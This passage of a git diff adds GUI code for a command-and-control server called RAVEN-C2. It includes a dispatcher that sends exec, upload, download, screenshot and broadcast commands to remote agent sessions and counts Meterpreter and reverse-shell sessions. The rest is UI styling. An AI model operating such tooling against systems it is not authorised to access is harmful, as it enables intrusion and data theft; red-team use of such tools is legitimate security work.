-fx-font-weight:bold;" + + "-fx-letter-spacing:0.05em;" + ); + Label BrandSubtitle = new Label("Command and Control"); + BrandSubtitle.setStyle("-fx-text-fill:" + Palette.TextQuaternary + "; -fx-font-size:9px;"); + BrandText.getChildren().addAll(BrandName, BrandSubtitle); + HBox.setHgrow(BrandText, Priority.ALWAYS); + + Label VersionTag = new Label("v3.0"); + VersionTag.setStyle( + "-fx-background-color:" + Palette.Background + ";" + + "-fx-text-fill:" + Palette.TextTertiary + ";" + + "-fx-font-size:9px; -fx-padding:2 7 2 7;" + + "-fx-border-color:" + Palette.BorderSubtle + ";" + + "-fx-border-width:1; -fx-border-radius:10; -fx-background-radius:10;" + ); + + Label BurgerLabel = new Label(IconMenu); + BurgerLabel.setStyle( + "-fx-font-family:'Material Icons'; -fx-font-size:18px;" + + "-fx-text-fill:" + Palette.TextTertiary + ";" + + "-fx-cursor:hand; -fx-padding:4 4 4 4;" + + "-fx-background-radius:6;" + ); + BurgerLabel.setOnMouseEntered(e -> BurgerLabel.setStyle( + "-fx-font-family:'Material Icons'; -fx-font-size:18px;" + + "-fx-text-fill:" + Palette.TextPrimary + ";" + + "-fx-cursor:hand; -fx-padding:4 4 4 4;" + + "-fx-background-color:" + Palette.BackgroundSurface + ";" + + "-fx-background-radius:6;" + )); + BurgerLabel.setOnMouseExited(e -> BurgerLabel.setStyle( + "-fx-font-family:'Material Icons'; -fx-font-size:18px;" + + "-fx-text-fill:" + Palette.TextTertiary + ";" + + "-fx-cursor:hand; -fx-padding:4 4 4 4;" + + "-fx-background-radius:6;" + )); + BurgerLabel.setOnMouseClicked(e -> AnimateSidebarToggle(Sidebar, NavItemMapOut)); + + BrandRow.getChildren().addAll(LogoChip, BrandText, VersionTag, BurgerLabel); + Sidebar.getChildren().add(BrandRow); + + Sidebar.getChildren().add(SectionLabel("General")); + AddNavItem(Sidebar, "Overview", IconDashboard, Palette.AccentBlue, NavItemMapOut, OnNavigate); + AddNavItem(Sidebar, "Sessions", IconDevices, Palette.AccentGreen, NavItemMapOut, OnNavigate); + AddNavItem(Sidebar, "Terminal", IconTerminal, Palette.AccentPink, NavItemMapOut, OnNavigate); + AddNavItem(Sidebar, "Command Center", IconCode, Palette.AccentTeal, NavItemMapOut, OnNavigate); + AddNavItem(Sidebar, "Logs", IconList, Palette.TextTertiary,NavItemMapOut, OnNavigate); + Sidebar.getChildren().add(SectionLabel("Configuration")); + AddNavItem(Sidebar, "Settings", IconSettings, Palette.TextTertiary,NavItemMapOut, OnNavigate); + + Sidebar.getChildren().add(ComponentFactory.FlexSpacer(false)); + + VBox FooterBox = new VBox(6); + FooterBox.setPadding(new Insets(10, 14, 12, 14)); + FooterBox.setStyle( + "-fx-background-color:" + Palette.BackgroundVoid + ";" + + "-fx-border-color:" + Palette.BorderSubtle + " transparent transparent transparent;" + + "-fx-border-width:1 0 0 0;" + ); + + Label StatusIndicator = new Label(IconCircle + " Offline"); + StatusIndicator.setStyle( + "-fx-text-fill:" + Palette.AccentRed + ";" + + "-fx-font-size:11px;" + + "-fx-font-family:'Material Icons','Segoe UI';" + ); + if (StatusIndicatorOut != null && StatusIndicatorOut.length > 0) + StatusIndicatorOut[0] = StatusIndicator; + + HBox AuthorRow = new HBox(8); + AuthorRow.setAlignment(Pos.CENTER_LEFT); + String DisplayName = OperatorName != null ? OperatorName : "MatrixTM26"; + StackPane AuthorAvatar = ComponentFactory.CircleChip(DisplayName, Palette.AccentBlue, 22); + Label AuthorLabel = new Label(DisplayName); + AuthorLabel.setStyle("-fx-font-size:10px; -fx-text-fill:" + Palette.TextTertiary + ";"); + AuthorRow.getChildren().addAll(AuthorAvatar, AuthorLabel); + FooterBox.getChildren().addAll(StatusIndicator, AuthorRow); + Sidebar.getChildren().add(FooterBox); + return Sidebar; + } + + private static void AddNavItem(VBox Sidebar, String PageName, String IconCodepoint, + String IconHex, Map NavItemMapOut, + Consumer OnNavigate) { + HBox NavItem = new HBox(12); + NavItem.setAlignment(Pos.CENTER_LEFT); + NavItem.setPadding(new Insets(9, 14, 9, 16)); + NavItem.setMaxWidth(Double.MAX_VALUE); + NavItem.setCursor(javafx.scene.Cursor.HAND); + NavItem.setStyle("-fx-background-color:transparent;"); + + StackPane IconWrapper = new StackPane(); + IconWrapper.setPrefSize(24, 24); + IconWrapper.setMinSize(24, 24); + Label IconLabel = ComponentFactory.MaterialIcon(IconCodepoint, IconHex, 15); + IconWrapper.getChildren().add(IconLabel); + + Label NameLabel = new Label(PageName); + NameLabel.setStyle("-fx-text-fill:" + Palette.TextTertiary + "; -fx-font-size:12px;"); + + NavItem.getChildren().addAll(IconWrapper, NameLabel); + NavItem.setUserData(PageName); + + NavItem.setOnMouseEntered(e -> { + if (!PageName.equals(GetActiveFromMap(NavItemMapOut))) + NavItem.setStyle("-fx-background-color:" + Palette.BackgroundSurface + ";"); + }); + NavItem.setOnMouseExited(e -> { + if (!PageName.equals(GetActiveFromMap(NavItemMapOut))) + NavItem.setStyle("-fx-background-color:transparent;"); + }); + NavItem.setOnMouseClicked(e -> OnNavigate.accept(PageName)); + + NavItemMapOut.put(PageName, NavItem); + Sidebar.getChildren().add(NavItem); + } + + public static void ApplyActiveState(Map NavItemMap, String ActivePage) { + NavItemMap.forEach((Name, Item) -> { + Label NameLabel = (Label) Item.getChildren().get(1); + if (Name.equals(ActivePage)) { + Item.setStyle( + "-fx-background-color:rgba(10,132,255,0.10);" + + "-fx-border-color:transparent transparent transparent " + Palette.AccentBlue + ";" + + "-fx-border-width:0 0 0 2;" + ); + NameLabel.setStyle("-fx-text-fill:" + Palette.AccentBlue + "; -fx-font-size:12px; -fx-font-weight:bold;"); + } else { + Item.setStyle("-fx-background-color:transparent;"); + NameLabel.setStyle("-fx-text-fill:" + Palette.TextTertiary + "; -fx-font-size:12px;"); + } + }); + } + + private static void AnimateSidebarToggle(VBox Sidebar, Map NavItemMap) { + boolean WillCollapse = Sidebar.getPrefWidth() > 100; + double TargetWidth = WillCollapse ? 56 : 228; + Timeline SlideAnimation = new Timeline(new KeyFrame( + Duration.millis(220), + new KeyValue(Sidebar.prefWidthProperty(), TargetWidth, Interpolator.EASE_BOTH) + )); + SlideAnimation.play(); + NavItemMap.values().forEach(Item -> { + Label NameLabel = (Label) Item.getChildren().get(1); + NameLabel.setVisible(!WillCollapse); + NameLabel.setManaged(!WillCollapse); + }); + Sidebar.getChildren().forEach(Child -> { + if (Child instanceof Label Section && Section.getStyle().contains("9px")) { + Section.setVisible(!WillCollapse); + Section.setManaged(!WillCollapse); + } + }); + } + + private static String GetActiveFromMap(Map NavItemMap) { + return NavItemMap.entrySet().stream() + .filter(Entry -> Entry.getValue().getStyle().contains(Palette.AccentBlue)) + .map(Map.Entry::getKey) + .findFirst() + .orElse(""); + } + + private static Label SectionLabel(String Text) { + Label Section = new Label(Text.toUpperCase()); + Section.setStyle( + "-fx-text-fill:" + Palette.TextQuaternary + ";" + + "-fx-font-size:9px; -fx-font-weight:bold;" + + "-fx-padding:18 14 6 18;" + + "-fx-letter-spacing:0.08em;" + ); + return Section; + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/frame/StyleHelper.java b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/frame/StyleHelper.java new file mode 100644 index 0000000..b789d3f --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/UI/frame/StyleHelper.java @@ -0,0 +1,78 @@ +package com.raven.interfaces.GUI.module.UI.frame; + +import com.raven.interfaces.GUI.module.UI.color.Palette; +import javafx.scene.control.TextArea; +import javafx.scene.control.TextField; +import javafx.scene.layout.Region; + +public final class StyleHelper { + + private StyleHelper() {} + + public static void ApplyTerminal(TextArea TextAreaNode) { + TextAreaNode.setStyle(TerminalStyle()); + TextAreaNode.setWrapText(true); + } + + public static void ApplyInput(TextField TextFieldNode) { + String BaseStyle = InputBaseStyle(); + TextFieldNode.setStyle(BaseStyle); + TextFieldNode.focusedProperty().addListener((Observable, OldValue, Focused) -> + TextFieldNode.setStyle(Focused ? InputFocusedStyle() : BaseStyle) + ); + } + + public static String TerminalStyle() { + return "-fx-background-color:" + Palette.TerminalBackground + ";" + + "-fx-control-inner-background:" + Palette.TerminalBackground + ";" + + "-fx-text-fill:" + Palette.TerminalText + ";" + + "-fx-highlight-fill:rgba(10,132,255,0.25);" + + "-fx-font-family:'JetBrains Mono','Cascadia Code','Consolas',monospace;" + + "-fx-font-size:12px;" + + "-fx-padding:12 14 12 14;" + + "-fx-background-radius:0;" + + "-fx-border-color:transparent;"; + } + + public static Region HorizontalDivider() { + Region Divider = new Region(); + Divider.getStyleClass().add("h-div"); + Divider.setPrefHeight(1); + Divider.setMaxWidth(Double.MAX_VALUE); + return Divider; + } + + public static Region VerticalDivider() { + Region Divider = new Region(); + Divider.getStyleClass().add("v-div"); + Divider.setPrefWidth(1); + Divider.setPrefHeight(16); + return Divider; + } + + private static String InputBaseStyle() { + return "-fx-background-color:" + Palette.BackgroundInput + ";" + + "-fx-text-fill:" + Palette.TextPrimary + ";" + + "-fx-prompt-text-fill:" + Palette.TextQuaternary + ";" + + "-fx-font-family:'Segoe UI';" + + "-fx-font-size:12px;" + + "-fx-padding:7 11 7 11;" + + "-fx-background-radius:7;" + + "-fx-border-color:" + Palette.BorderDefault + ";" + + "-fx-border-width:1;" + + "-fx-border-radius:7;"; + } + + private static String InputFocusedStyle() { + return "-fx-background-color:" + Palette.BackgroundInput + ";" + + "-fx-text-fill:" + Palette.TextPrimary + ";" + + "-fx-prompt-text-fill:" + Palette.TextQuaternary + ";" + + "-fx-font-family:'Segoe UI';" + + "-fx-font-size:12px;" + + "-fx-padding:7 11 7 11;" + + "-fx-background-radius:7;" + + "-fx-border-color:" + Palette.AccentBlue + ";" + + "-fx-border-width:1;" + + "-fx-border-radius:7;"; + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/database/AuthService.java b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/database/AuthService.java new file mode 100644 index 0000000..4de7516 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/database/AuthService.java @@ -0,0 +1,38 @@ +package com.raven.interfaces.GUI.module.core.database; + +import com.raven.core.database.TeamDatabase; +import com.raven.core.output.Logger; +import com.raven.utils.ServerConfig; + +public class AuthService { + + private final TeamDatabase db; + private String operatorName; + private TeamDatabase.OperatorRole operatorRole; + + public AuthService(ServerConfig config) { + this.db = TeamDatabase.Connect(config); + } + + public boolean Authenticate(String username, String password) { + if (db.ValidateOperator(username, TeamDatabase.HashPassword(password))) { + operatorName = username; + operatorRole = db.GetOperatorRole(username); + Logger.Info("Operator login: " + operatorName + " [" + operatorRole + "]"); + return true; + } + return false; + } + + public String GetOperatorName() { + return operatorName; + } + + public TeamDatabase.OperatorRole GetOperatorRole() { + return operatorRole; + } + + public TeamDatabase GetDb() { + return db; + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/server/CommandDispatcher.java b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/server/CommandDispatcher.java new file mode 100644 index 0000000..2680e60 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/server/CommandDispatcher.java @@ -0,0 +1,247 @@ +package com.raven.interfaces.GUI.module.core.server; + +import com.raven.core.database.TeamDatabase; +import com.raven.core.server.RavenServer; +import com.raven.core.session.Session; +import com.raven.interfaces.GUI.module.core.session.SessionManager; +import java.util.List; +import java.util.Map; +import java.util.Optional; +import java.util.concurrent.Executors; +import java.util.function.Consumer; +import javafx.application.Platform; +import javafx.scene.control.TextField; + +public class CommandDispatcher { + + private final RavenServer server; + private final TeamDatabase db; + private final SessionManager sessionMgr; + private final Consumer log; + private final String operator; + + public CommandDispatcher(RavenServer server, TeamDatabase db, SessionManager sessionMgr, Consumer log, String operator) { + this.server = server; + this.db = db; + this.sessionMgr = sessionMgr; + this.log = log; + this.operator = operator; + } + + public void Dispatch(String cmd, TextField input) { + if (cmd == null || cmd.isBlank()) return; + if (server == null || !server.IsRunning()) { + log.accept("[!] Server not running"); + return; + } + String[] parts = cmd.trim().split("\\s+", 2); + switch (parts[0].toLowerCase()) { + case "sessions", "agents" -> doSessions(); + case "kill" -> doKill(parts); + case "status" -> doStatus(); + case "stats" -> doStats(); + case "tasks" -> doTasks(); + case "broadcast" -> doBroadcast(parts); + case "exec" -> doExec(parts.length > 1 ? parts[1] : ""); + case "whoami", "screenshot" -> doShortcut(parts); + case "sleep" -> doSleep(parts); + case "download" -> doDownload(parts); + case "upload" -> doUpload(parts); + case "sysinfo", "info" -> doSysInfo(parts.length > 1 ? parts[1] : ""); + case "note" -> doNote(parts.length > 1 ? parts[1] : ""); + case "getnote" -> doGetNote(parts.length > 1 ? parts[1] : ""); + case "history" -> doHistory(parts.length > 1 ? parts[1] : ""); + default -> log.accept("[!] Unknown: " + parts[0]); + } + if (input != null) Platform.runLater(input::clear); + } + + private void doSessions() { + int n = server.GetSessions().Count(); + log.accept("Sessions (" + n + "):"); + server + .GetSessions() + .GetAll() + .forEach(s -> log.accept(" #" + s.GetId() + " " + s.GetDisplayName() + " " + s.GetUser() + "@" + s.GetHostname() + " key=" + s.GetSessionKey())); + Platform.runLater(sessionMgr::Refresh); + } + + private void doKill(String[] parts) { + if (parts.length < 2) { + log.accept("[!] Usage: kill "); + return; + } + try { + int id = Integer.parseInt(parts[1].trim()); + server.RemoveSession(id); + log.accept("[+] Session-" + id + " terminated"); + Platform.runLater(sessionMgr::Refresh); + } catch (NumberFormatException e) { + log.accept("[!] Invalid ID"); + } + } + + private void doStatus() { + log.accept("Status : " + (server.IsRunning() ? "ONLINE" : "OFFLINE")); + log.accept("Mode : " + server.GetMode().name()); + log.accept("Address : " + server.GetHost() + ":" + server.GetPort()); + log.accept("Sessions : " + server.GetSessions().Count()); + log.accept("Key : " + server.GetKeyBase64()); + } + + private void doStats() { + Map stats = server.GetSessions().GetStats(); + log.accept("Total : " + stats.get("Total")); + log.accept("RAVEN : " + stats.get("RAVEN")); + log.accept("Meterpreter : " + stats.get("METERPRETER")); + log.accept("Reverse Shell: " + stats.get("REVERSE_SHELL")); + } + + private void doTasks() { + log.accept("Active sessions: " + server.GetSessions().Count()); + } + + private void doBroadcast(String[] parts) { + if (parts.length < 2) { + log.accept("[!] Usage: broadcast "); + return; + } + log.accept("Broadcasting: " + parts[1]); + server.BroadcastAll(parts[1]).forEach((id, res) -> log.accept(" [" + id + "] " + (Boolean.parseBoolean(res[0]) ? "OK " : "ERR") + " " + res[1])); + } + + private void doExec(String body) { + String[] args = body.trim().split("\\s+", 2); + if (args.length < 2) { + log.accept("[!] Usage: exec "); + return; + } + try { + sessionMgr.RunAgentCommand(Integer.parseInt(args[0]), args[1], operator, log); + } catch (NumberFormatException e) { + log.accept("[!] Invalid ID"); + } + } + + private void doShortcut(String[] parts) { + if (parts.length < 2) { + log.accept("[!] Usage: " + parts[0] + " "); + return; + } + try { + sessionMgr.RunAgentCommand(Integer.parseInt(parts[1]), parts[0], operator, log); + } catch (NumberFormatException e) { + log.accept("[!] Invalid ID"); + } + } + + private void doSleep(String[] parts) { + if (parts.length < 2) { + log.accept("[!] Usage: sleep "); + return; + } + String[] args = parts[1].split("\\s+", 2); + if (args.length < 2) { + log.accept("[!] Usage: sleep "); + return; + } + try { + sessionMgr.RunAgentCommand(Integer.parseInt(args[0]), "sleep " + args[1], operator, log); + } catch (NumberFormatException e) { + log.accept("[!] Invalid ID"); + } + } + + private void doDownload(String[] parts) { + if (parts.length < 2) { + log.accept("[!] Usage: download "); + return; + } + String[] args = parts[1].split("\\s+", 2); + if (args.length < 2) { + log.accept("[!] Usage: download "); + return; + } + try { + sessionMgr.RunAgentCommand(Integer.parseInt(args[0]), "download " + args[1], operator, log); + } catch (NumberFormatException e) { + log.accept("[!] Invalid ID"); + } + } + + private void doUpload(String[] parts) { + if (parts.length < 2) { + log.accept("[!] Usage: upload "); + return; + } + String[] args = parts[1].split("\\s+", 3); + if (args.length < 3) { + log.accept("[!] Usage: upload "); + return; + } + try { + sessionMgr.RunAgentCommand(Integer.parseInt(args[0]), "upload " + args[1] + " " + args[2], operator, log); + } catch (NumberFormatException e) { + log.accept("[!] Invalid ID"); + } + } + + private void doSysInfo(String sidText) { + try { + Optional opt = sessionMgr.Get(Integer.parseInt(sidText.trim())); + if (opt.isEmpty()) { + log.accept("[!] Session not found"); + return; + } + Session s = opt.get(); + log.accept("ID : " + s.GetId() + " Name: " + s.GetDisplayName() + " Type: " + s.GetSessionType().name()); + log.accept("Host : " + s.GetHostname() + " User: " + s.GetUser() + " OS: " + s.GetOs() + " Arch: " + s.GetArch()); + log.accept("IP : " + s.GetAgentIp() + " Key: " + s.GetSessionKey() + " mTLS: " + s.IsMtlsEnabled()); + log.accept("Note : " + db.GetAgentNote(s.GetId())); + } catch (Exception e) { + log.accept("[!] Usage: sysinfo "); + } + } + + private void doNote(String body) { + String[] args = body.trim().split("\\s+", 2); + if (args.length < 2) { + log.accept("[!] Usage: note "); + return; + } + try { + int sid = Integer.parseInt(args[0]); + db.SetAgentNote(sid, args[1]); + log.accept("[+] Note saved for SESSION-" + sid); + } catch (NumberFormatException e) { + log.accept("[!] Invalid ID"); + } + } + + private void doGetNote(String sidText) { + try { + int sid = Integer.parseInt(sidText.trim()); + String note = db.GetAgentNote(sid); + log.accept("Note SESSION-" + sid + ": " + (note.isEmpty() ? "(empty)" : note)); + } catch (Exception e) { + log.accept("[!] Usage: getnote "); + } + } + + private void doHistory(String body) { + String[] args = body == null || body.isBlank() ? new String[0] : body.trim().split("\\s+"); + int sid = args.length > 0 ? parseInt(args[0], 0) : 0; + int limit = args.length > 1 ? parseInt(args[1], 25) : 25; + List> hist = db.GetCommandHistory(sid, limit); + log.accept("History (" + hist.size() + " entries):"); + hist.forEach(r -> log.accept(" #" + r.getOrDefault("AgentId", "?") + " " + r.getOrDefault("Operator", "?") + " " + r.getOrDefault("Command", "") + " [" + r.getOrDefault("Timestamp", "") + "]")); + } + + private int parseInt(String v, int def) { + try { + return Integer.parseInt(v.trim()); + } catch (Exception e) { + return def; + } + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/server/ServerController.java b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/server/ServerController.java new file mode 100644 index 0000000..922f179 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/server/ServerController.java @@ -0,0 +1,124 @@ +package com.raven.interfaces.GUI.module.core.server; + +import com.raven.core.event.EventManager; +import com.raven.core.event.EventManager.EventType; +import com.raven.core.server.ListenerMode; +import com.raven.core.server.RavenServer; +import com.raven.interfaces.GUI.module.UI.color.Palette; +import com.raven.utils.ServerConfig; +import java.time.Instant; +import java.util.Map; +import java.util.function.Consumer; +import javafx.application.Platform; +import javafx.scene.control.Button; +import javafx.scene.control.Label; +import javafx.scene.paint.Color; + +public class ServerController { + + private static final String IconCircle = "\uEF4A"; + + private RavenServer Server; + private Instant StartTime; + + private final ServerConfig Configuration; + private final Label StatusDot; + private final Label ServerStatusLabel; + private final Label ServerInfoLabel; + private final Button StartButton; + private final Button StopButton; + private final Consumer LogConsumer; + private final EventManager.EventListener EventHandler; + private final Runnable OnStartCallback; + private final Runnable OnStopCallback; + + public ServerController(ServerConfig Configuration, + Label StatusDot, + Label ServerStatusLabel, + Label ServerInfoLabel, + Button StartButton, + Button StopButton, + Consumer LogConsumer, + EventManager.EventListener EventHandler, + Runnable OnStartCallback, + Runnable OnStopCallback) { + this.Configuration = Configuration; + this.StatusDot = StatusDot; + this.ServerStatusLabel= ServerStatusLabel; + this.ServerInfoLabel = ServerInfoLabel; + this.StartButton = StartButton; + this.StopButton = StopButton; + this.LogConsumer = LogConsumer; + this.EventHandler = EventHandler; + this.OnStartCallback = OnStartCallback; + this.OnStopCallback = OnStopCallback; + } + + public void Start(String Host, int Port) { + Server = new RavenServer(Host, Port, ListenerMode.FromString(Configuration.GetServerMode()), Configuration); + Server.AddEventListener(EventHandler); + boolean[] Result = Server.StartServer(); + if (!Result[0]) { + LogConsumer.accept("[!] Failed to start server"); + return; + } + StartTime = Instant.now(); + Thread AcceptThread = new Thread(Server::AcceptConnections, "AcceptConnections"); + AcceptThread.setDaemon(true); + AcceptThread.start(); + + Platform.runLater(() -> { + if (ServerStatusLabel != null) { + ServerStatusLabel.setText("Online"); + ServerStatusLabel.setTextFill(Color.web(Palette.AccentGreen)); + } + if (ServerInfoLabel != null) + ServerInfoLabel.setText(Host + ":" + Port + " | " + Configuration.GetServerMode().toUpperCase()); + if (StatusDot != null) { + StatusDot.setText(IconCircle + " Online"); + StatusDot.setStyle( + "-fx-text-fill:" + Palette.AccentGreen + ";" + + "-fx-font-size:11px;" + + "-fx-font-family:'Material Icons','Segoe UI';" + ); + } + if (StartButton != null) StartButton.setDisable(true); + if (StopButton != null) StopButton.setDisable(false); + }); + + LogConsumer.accept("[+] Server started — " + Host + ":" + Port); + LogConsumer.accept("[+] Session key: " + Server.GetKeyBase64()); + if (OnStartCallback != null) OnStartCallback.run(); + } + + public void Stop() { + if (Server == null) return; + Server.StopServer(); + StartTime = null; + + Platform.runLater(() -> { + if (ServerStatusLabel != null) { + ServerStatusLabel.setText("Offline"); + ServerStatusLabel.setTextFill(Color.web(Palette.AccentRed)); + } + if (ServerInfoLabel != null) ServerInfoLabel.setText("Not running"); + if (StatusDot != null) { + StatusDot.setText(IconCircle + " Offline"); + StatusDot.setStyle( + "-fx-text-fill:" + Palette.AccentRed + ";" + + "-fx-font-size:11px;" + + "-fx-font-family:'Material Icons','Segoe UI';" + ); + } + if (StartButton != null) StartButton.setDisable(false); + if (StopButton != null) StopButton.setDisable(true); + }); + + LogConsumer.accept("[!] Server stopped"); + if (OnStopCallback != null) OnStopCallback.run(); + } + + public RavenServer GetServer() { return Server; } + public Instant GetStartTime() { return StartTime; } + public boolean IsRunning() { return Server != null && Server.IsRunning(); } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/session/SessionManager.java b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/session/SessionManager.java new file mode 100644 index 0000000..5419b26 --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/session/SessionManager.java @@ -0,0 +1,62 @@ +package com.raven.interfaces.GUI.module.core.session; + +import com.raven.core.database.TeamDatabase; +import com.raven.core.server.RavenServer; +import com.raven.core.session.Session; +import java.util.Optional; +import java.util.concurrent.Executors; +import java.util.function.Consumer; +import javafx.application.Platform; +import javafx.collections.ObservableList; +import javafx.scene.control.Label; + +public class SessionManager { + + private final RavenServer server; + private final TeamDatabase db; + private final ObservableList rows; + private final Label countLabel; + + public SessionManager(RavenServer server, TeamDatabase db, ObservableList rows, Label countLabel) { + this.server = server; + this.db = db; + this.rows = rows; + this.countLabel = countLabel; + } + + public void Refresh() { + if (server == null) return; + Platform.runLater(() -> { + rows.clear(); + server + .GetSessions() + .GetAll() + .forEach(s -> rows.add(new SessionRow(s))); + int n = rows.size(); + countLabel.setText(n + " session" + (n != 1 ? "s" : "")); + }); + } + + public void Kill(int sid) { + server.RemoveSession(sid); + Refresh(); + } + + public void RunAgentCommand(int sid, String cmd, String operator, Consumer log) { + if (server == null || !server.IsRunning()) { + log.accept("[!] Server not running"); + return; + } + log.accept("> SESSION-" + sid + " — " + cmd); + Executors.newSingleThreadExecutor().submit(() -> { + String[] result = server.ExecuteCommand(sid, cmd); + boolean ok = Boolean.parseBoolean(result[0]); + db.SaveCommandLog(sid, operator != null ? operator : "gui", cmd, result[1], ok); + Platform.runLater(() -> log.accept(result[1])); + }); + } + + public Optional Get(int sid) { + return server.GetSessions().Get(sid); + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/session/SessionRow.java b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/session/SessionRow.java new file mode 100644 index 0000000..facd57e --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/module/core/session/SessionRow.java @@ -0,0 +1,84 @@ +package com.raven.interfaces.GUI.module.core.session; + +import com.raven.core.session.Session; +import javafx.beans.property.SimpleStringProperty; + +public class SessionRow { + + private final SimpleStringProperty Id, Type, Name, Ip, Os, User, Host, Joined; + + public SessionRow(Session s) { + Id = new SimpleStringProperty(String.valueOf(s.GetId())); + Type = new SimpleStringProperty(s.GetSessionType().name()); + Name = new SimpleStringProperty(s.GetDisplayName()); + Ip = new SimpleStringProperty(s.GetAgentIp()); + Os = new SimpleStringProperty(s.GetOs()); + User = new SimpleStringProperty(s.GetUser()); + Host = new SimpleStringProperty(s.GetHostname()); + Joined = new SimpleStringProperty(s.GetSessionKey()); + } + + public String getId() { + return Id.get(); + } + + public String getType() { + return Type.get(); + } + + public String getName() { + return Name.get(); + } + + public String getIp() { + return Ip.get(); + } + + public String getOs() { + return Os.get(); + } + + public String getUser() { + return User.get(); + } + + public String getHost() { + return Host.get(); + } + + public String getJoined() { + return Joined.get(); + } + + public SimpleStringProperty IdProperty() { + return Id; + } + + public SimpleStringProperty TypeProperty() { + return Type; + } + + public SimpleStringProperty NameProperty() { + return Name; + } + + public SimpleStringProperty IpProperty() { + return Ip; + } + + public SimpleStringProperty OsProperty() { + return Os; + } + + public SimpleStringProperty UserProperty() { + return User; + } + + public SimpleStringProperty HostProperty() { + return Host; + } + + public SimpleStringProperty JoinedProperty() { + return Joined; + } +} diff --git a/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/styles/css/raven.css b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/styles/css/raven.css new file mode 100644 index 0000000..b673d3b --- /dev/null +++ b/RAVEN-C2/src/main/java/com/raven/interfaces/GUI/styles/css/raven.css @@ -0,0 +1,584 @@ +.root { + -fx-background-color: #1c1c1e; + -fx-font-family: "Segoe UI", "Inter", "SF Pro Text", sans-serif; + -fx-font-size: 12px; +} + +* { + -fx-focus-color: transparent; + -fx-faint-focus-color: transparent; +} + +.scroll-bar { + -fx-background-color: transparent; + -fx-pref-width: 6px; + -fx-pref-height: 6px; +} +.scroll-bar .track { + -fx-background-color: transparent; + -fx-border-color: transparent; +} +.scroll-bar .thumb { + -fx-background-color: #3a3a3c; + -fx-background-radius: 3; +} +.scroll-bar .thumb:hover { + -fx-background-color: #48484a; +} +.scroll-bar .increment-button, +.scroll-bar .decrement-button { + -fx-background-color: transparent; + -fx-padding: 0; + -fx-pref-width: 0; + -fx-pref-height: 0; +} +.scroll-bar .increment-arrow, +.scroll-bar .decrement-arrow { + -fx-shape: " "; + -fx-padding: 0; +} +.scroll-pane { + -fx-background-color: transparent; + -fx-background: transparent; + -fx-border-color: transparent; +} +.scroll-pane > .viewport { + -fx-background-color: transparent; +} +.scroll-pane .corner { + -fx-background-color: transparent; +} + +.split-pane { + -fx-background-color: #1c1c1e; + -fx-padding: 0; +} +.split-pane-divider { + -fx-background-color: #2c2c2e; + -fx-padding: 0 1 0 1; +} +.split-pane-divider:hover { + -fx-background-color: #0a84ff; +} +.split-pane:vertical .split-pane-divider { + -fx-padding: 1 0 1 0; +} + +.sidebar { + -fx-background-color: #111113; + -fx-border-color: transparent #2c2c2e transparent transparent; + -fx-border-width: 0 1 0 0; +} +.sidebar-brand { + -fx-background-color: #0a0a0c; + -fx-border-color: transparent transparent #2c2c2e transparent; + -fx-border-width: 0 0 1 0; + -fx-padding: 16 14 14 14; + -fx-spacing: 8; + -fx-min-height: 60px; + -fx-pref-height: 60px; +} +.sidebar-brand-name { + -fx-text-fill: #f2f2f7; + -fx-font-size: 14px; + -fx-font-weight: bold; + -fx-letter-spacing: 0.05em; +} +.sidebar-brand-sub { + -fx-text-fill: #3a3a3c; + -fx-font-size: 9px; + -fx-letter-spacing: 0.03em; +} +.sidebar-version { + -fx-background-color: #1c1c1e; + -fx-text-fill: #48484a; + -fx-font-size: 9px; + -fx-padding: 2 7 2 7; + -fx-border-color: #2c2c2e; + -fx-border-width: 1; + -fx-border-radius: 10; + -fx-background-radius: 10; +} +.sidebar-section { + -fx-text-fill: #3a3a3c; + -fx-font-size: 9px; + -fx-font-weight: bold; + -fx-padding: 18 14 6 16; + -fx-letter-spacing: 0.08em; +} +.sidebar-footer { + -fx-background-color: #0a0a0c; + -fx-border-color: #2c2c2e transparent transparent transparent; + -fx-border-width: 1 0 0 0; + -fx-padding: 10 14 12 14; + -fx-spacing: 6; +} +.sidebar-burger { + -fx-background-color: transparent; + -fx-text-fill: #48484a; + -fx-font-family: "Material Icons"; + -fx-font-size: 18px; + -fx-border-color: transparent; + -fx-background-radius: 6; + -fx-cursor: hand; + -fx-padding: 4 6 4 6; +} +.sidebar-burger:hover { + -fx-background-color: #2c2c2e; + -fx-text-fill: #f2f2f7; +} + +.nav-item { + -fx-background-color: transparent; + -fx-background-radius: 8; + -fx-border-radius: 8; + -fx-cursor: hand; +} +.nav-item:hover { + -fx-background-color: #2c2c2e; +} +.nav-item-active { + -fx-background-color: rgba(10, 132, 255, 0.12); + -fx-border-color: transparent transparent transparent #0a84ff; + -fx-border-width: 0 0 0 2; + -fx-background-radius: 0 8 8 0; + -fx-border-radius: 0; +} + +.topbar { + -fx-background-color: #111113; + -fx-border-color: transparent transparent #2c2c2e transparent; + -fx-border-width: 0 0 1 0; + -fx-padding: 0 18 0 18; + -fx-pref-height: 52px; + -fx-min-height: 52px; + -fx-max-height: 52px; +} +.topbar-title { + -fx-text-fill: #f2f2f7; + -fx-font-size: 13px; + -fx-font-weight: bold; +} +.topbar-sub { + -fx-text-fill: #3a3a3c; + -fx-font-size: 